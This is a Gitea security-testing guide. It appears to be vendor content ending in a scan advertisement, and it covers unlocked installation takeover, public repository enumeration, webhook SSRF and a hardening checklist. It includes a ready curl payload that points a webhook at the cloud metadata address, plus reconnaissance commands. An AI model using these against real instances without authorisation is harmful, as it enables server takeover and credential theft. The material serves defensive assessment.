Gitea Security Testing: Initial Setup, OAuth App, Webhook SSRF, SSH Key, and Repository Visibility

Gitea is a widely deployed self-hosted Git service used as a lightweight alternative to GitHub and GitLab, hosting source code, CI/CD workflows, and often containing sensitive credentials committed to repositories. Its security assessment covers: Gitea's initial installation is completed via a web form at /install — if this URL is still accessible after deployment (install not completed or INSTALL_LOCK not set), any visitor can complete the installation and set their own admin account credentials; Gitea's webhook feature allows users to configure outbound HTTP requests to arbitrary URLs when repository events occur (push, issue, pull request) — webhook URLs targeting internal network addresses create an SSRF vector where the Gitea server makes requests to internal services on behalf of the attacker; Gitea's OAuth application feature allows any registered user to create OAuth 2.0 apps that can obtain access tokens from other users who authorize them — these tokens grant API access scoped to the authorizing user; Gitea's personal access token API at /api/v1 provides programmatic access to repository operations; and Gitea's repository and organization visibility settings (public vs. private) determine whether source code containing secrets, credentials, or internal infrastructure details is exposed to unauthenticated users. This guide covers systematic Gitea security assessment.

Table of Contents

  1. Uncompleted Installation Takeover
  2. Webhook SSRF
  3. Repository Visibility and Secret Scanning
  4. Gitea Security Hardening

Uncompleted Installation Takeover

# Gitea uncompleted installation — /install accessible if INSTALL_LOCK=false
GITEA_URL="https://git.example.com"

# Check if installation page is still accessible
INSTALL_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${GITEA_URL}/install" 2>/dev/null)
echo "Install page status: ${INSTALL_STATUS}"

# If 200, Gitea installation can be completed by any visitor
# This allows setting admin credentials and controlling the instance
if [ "$INSTALL_STATUS" = "200" ]; then
  echo "CRITICAL: Gitea /install is accessible — installation not locked"
  echo "Any visitor can complete installation and set admin credentials"
fi

# Also check Gitea API for version and configuration info
curl -s "${GITEA_URL}/api/v1/settings/api" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Max response items: {d.get(\"max_response_items\")}')
    print(f'Default paging: {d.get(\"default_paging_num\")}')
except: pass
" 2>/dev/null

# Enumerate public users and repositories
curl -s "${GITEA_URL}/api/v1/repos/search?limit=50&token=" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d.get('data',[])
print(f'Public repositories: {len(repos)}')
for r in repos[:10]:
    print(f'  {r.get(\"full_name\",\"?\")} — {r.get(\"description\",\"\")}')
" 2>/dev/null

Webhook SSRF

# Gitea webhook SSRF — webhooks trigger outbound HTTP requests from the Gitea server
# Any repository owner can configure webhooks pointing to internal URLs

GITEA_URL="https://git.example.com"
API_TOKEN="your-gitea-personal-access-token"
OWNER="username"
REPO="test-repo"

# Create a webhook pointing to an internal URL (SSRF test)
# Gitea server will make HTTP POST to this URL on push events
curl -s -X POST "${GITEA_URL}/api/v1/repos/${OWNER}/${REPO}/hooks" \
  -H "Authorization: token ${API_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "gitea",
    "config": {
      "url": "http://169.254.169.254/latest/meta-data/",
      "content_type": "json"
    },
    "events": ["push"],
    "active": true
  }' 2>/dev/null

# Trigger the webhook by creating a push event
# Then check webhook delivery logs for response content
curl -s "${GITEA_URL}/api/v1/repos/${OWNER}/${REPO}/hooks" \
  -H "Authorization: token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hooks = json.load(sys.stdin)
for h in hooks:
    print(f'Hook: {h.get(\"config\",{}).get(\"url\")} active={h.get(\"active\")}')
" 2>/dev/null

Gitea Security Hardening

Gitea Security Hardening Checklist:
Security TestMethodRisk
Uncompleted installation at /installGET /install — if accessible (HTTP 200), any visitor can complete Gitea installation and set their own admin credentials, taking full control of the instanceCritical
Webhook SSRF to internal servicesPOST /api/v1/repos/{owner}/{repo}/hooks with internal URL — Gitea server makes outbound HTTP POST to the URL on push events, enabling SSRF to cloud metadata endpoints and internal network servicesHigh
Public repository secret scanningClone public repositories and run Gitleaks/TruffleHog — developers frequently commit API keys, passwords, database credentials, and private keys to version control inadvertentlyCritical
Personal access token brute forcePOST /api/v1/users/search and /api/v1/repos — no rate limiting by default on Gitea API enables token enumeration and brute force of weak tokensMedium
OAuth application token harvestingRegister an OAuth app — any registered user can create OAuth apps that obtain access tokens from other users who authorize them via the standard OAuth flowMedium
Default public visibility of repositoriesCheck repository visibility settings — new repositories are public by default in Gitea unless DEFAULT_PRIVATE=true is configured; internal code and secrets may be exposedHigh

Automate Gitea Security Testing

Ironimo tests Gitea deployments for uncompleted installation accessible at /install allowing admin credential takeover, webhook SSRF triggering outbound HTTP requests to cloud metadata endpoints and internal network services from the Gitea server, public repository enumeration and secret scanning for committed credentials, personal access token brute force, OAuth application token harvesting, and repository visibility misconfiguration exposing internal source code and secrets.

Start free scan